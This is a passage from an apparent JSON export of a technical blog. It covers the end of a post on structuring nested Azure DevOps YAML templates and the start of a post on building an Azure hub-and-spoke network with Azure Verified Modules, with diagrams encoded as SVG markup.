stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='164' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='164' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='164' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"4-pattern-3-templatecontext-and-metadata-passing\"\u003e4. Pattern 3: \u003ccode\u003etemplateContext\u003c/code\u003e and Metadata Passing\u003c/h2\u003e\n\u003cp\u003eSometimes you need to pass data that doesn\u0026rsquo;t fit the standard job or stage schema.\u003c/p\u003e\n\u003ch3 id=\"41-passing-data-under-the-table\"\u003e4.1: Passing Data \u0026ldquo;Under the Table\u0026rdquo;\u003c/h3\u003e\n\u003cp\u003eThe \u003ccode\u003etemplateContext\u003c/code\u003e property allows you to attach custom data to \u003ccode\u003ejobList\u003c/code\u003e and \u003ccode\u003estageList\u003c/code\u003e parameters. This data is \u0026ldquo;invisible\u0026rdquo; to the standard Azure DevOps validator but accessible inside your receiving template logic.\u003c/p\u003e\n\u003ch3 id=\"42-use-case-governance-labels\"\u003e4.2: Use Case: Governance Labels\u003c/h3\u003e\n\u003cp\u003eYou can attach a \u003ccode\u003esecurityTier\u003c/code\u003e or a \u003ccode\u003ecostCenter\u003c/code\u003e to a job list. Your wrapper template iterates through the jobs and conditionally injects audit steps based on these labels. This allows you to enforce different security standards for \u0026ldquo;internal\u0026rdquo; vs \u0026ldquo;public-facing\u0026rdquo; apps without changing the job\u0026rsquo;s structural definition.\u003c/p\u003e\n\u003ch2 id=\"5-managing-the-100-level-cap\"\u003e5. Managing the 100-Level Cap\u003c/h2\u003e\n\u003cp\u003eAzure DevOps limits YAML to 100 unique files and 100 levels of nesting. While this seems high, a \u0026ldquo;micro-template\u0026rdquo; architecture (one file per task) will hit this limit surprisingly quickly.\u003c/p\u003e\n\u003ch3 id=\"strategies-for-flattening-the-tree\"\u003eStrategies for Flattening the Tree\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eComposition over Inheritance:\u003c/strong\u003e Instead of deep nesting (A calls B calls C), use a flatter orchestrator that calls multiple siblings.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFunctional Consolidation:\u003c/strong\u003e Merge five small \u0026ldquo;Lint\u0026rdquo; templates into one \u003ccode\u003ecompliance.yml\u003c/code\u003e file with boolean toggles.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThin YAML:\u003c/strong\u003e Move complex conditional logic out of YAML expressions and into a single PowerShell script that reads a JSON config file at runtime. This shifts the complexity from the orchestrator\u0026rsquo;s parsing engine to the agent\u0026rsquo;s execution engine.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"hands-on-example-the-zero-boilerplate-library\"\u003eHands-On Example: The \u0026ldquo;Zero-Boilerplate\u0026rdquo; Library\u003c/h2\u003e\n\u003cp\u003eConsider a 5-layer pipeline where a deep script needs a \u003ccode\u003eSecurityToken\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eThe Waterfall Way:\u003c/strong\u003e 5 files updated, 5 parameters declared.\n\u003cstrong\u003eThe Object Way:\u003c/strong\u003e The root pipeline adds \u003ccode\u003etoken\u003c/code\u003e to the \u003ccode\u003econfig\u003c/code\u003e object. Intermediate files remain untouched. The script template reads \u003ccode\u003eparameters.config.token\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eRefactoring time drops from an hour of tedious YAML editing to 30 seconds of data definition.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eFavor Objects over Strings:\u003c/strong\u003e Bundle related configuration to keep intermediate signatures clean.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMeta-Programming is Architectural:\u003c/strong\u003e Use \u003ccode\u003eif\u003c/code\u003e and \u003ccode\u003eeach\u003c/code\u003e logic to reduce the total number of distinct files.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAlways Coalesce:\u003c/strong\u003e Protect your templates with reliable default values for all optional fields.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNamespace Your Data:\u003c/strong\u003e Use prefixes to avoid collisions in complex, multi-team template environments.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#parameter-data-types\"\u003eMicrosoft Learn: Template parameter types\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#templatecontext\"\u003eMicrosoft Learn: Using templateContext\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/\"\u003eGitHub: Azure Verified Modules (AVM) pipeline patterns\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://dev.to/azure\"\u003eDevOps Community: Designing Scalable YAML Libraries\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Master the architecture of large-scale Azure DevOps pipelines. Learn how to pass data through 5+ layers of templates without manually declaring every parameter using objects and templateContext.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/escaping-parameter-hell/","title":"Escaping Parameter Hell: Architectural Patterns for Nested Templates"},{"content":"\u003cp\u003eYour new workload team files their first support ticket three weeks after go-live. A developer can\u0026rsquo;t reach the database. You pull the logs. The VM is making an outbound call to a public IP on port 1433—in plain text, no firewall inspection, straight out to the internet. You ask who approved that route. Nobody did. It just worked, because every VNet in the environment was managing its own egress.\u003c/p\u003e\n\u003cp\u003eThat\u0026rsquo;s what flat networking at enterprise scale looks like from the inside: every team doing the reasonable thing locally, nobody seeing the full picture, and the blast radius of any mistake being the entire cloud environment.\u003c/p\u003e\n\u003cp\u003eThe \u003cstrong\u003eHub-and-Spoke\u003c/strong\u003e topology solves this by centralizing shared services—Azure Firewall, VPN/ExpressRoute Gateways, and DNS Resolvers—into a single \u0026ldquo;Hub\u0026rdquo; VNet. Application workloads live in \u0026ldquo;Spoke\u0026rdquo; VNets that peer back to the hub, sharing its connectivity while staying isolated from each other. This article walks through building the networking core of your landing zone using \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e.\u003c/p\u003e\n\u003ch2 id=\"1-the-hub-networking-stack\"\u003e1. The Hub Networking Stack\u003c/h2\u003e\n\u003cp\u003eThe hub VNet is the high-security gateway for your entire Azure region. In 2026, the retirement of \u0026ldquo;Default Outbound Internet Access\u0026rdquo; means a hub with a centralized firewall is no longer just a best practice—it is a requirement for resource connectivity.\u003c/p\u003e\n\u003ch3 id=\"the-hub-networking-stack\"\u003eThe Hub Networking Stack\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,32 L 248,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,112 L 384,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,176 L 216,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,176 L 384,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,224 L 216,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,240 L 384,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,176 L 48,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,112 L 216,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,160 L 216,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,176 L 384,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,224.000000 212.000000,218.399994 212.000000,229.600006' fill='currentColor' transform='rotate(0.000000, 216.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='232.000000,32.000000 220.000000,26.400000 220.000000,37.599998' fill='currentColor' transform='rotate(180.000000, 224.000000, 32.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext 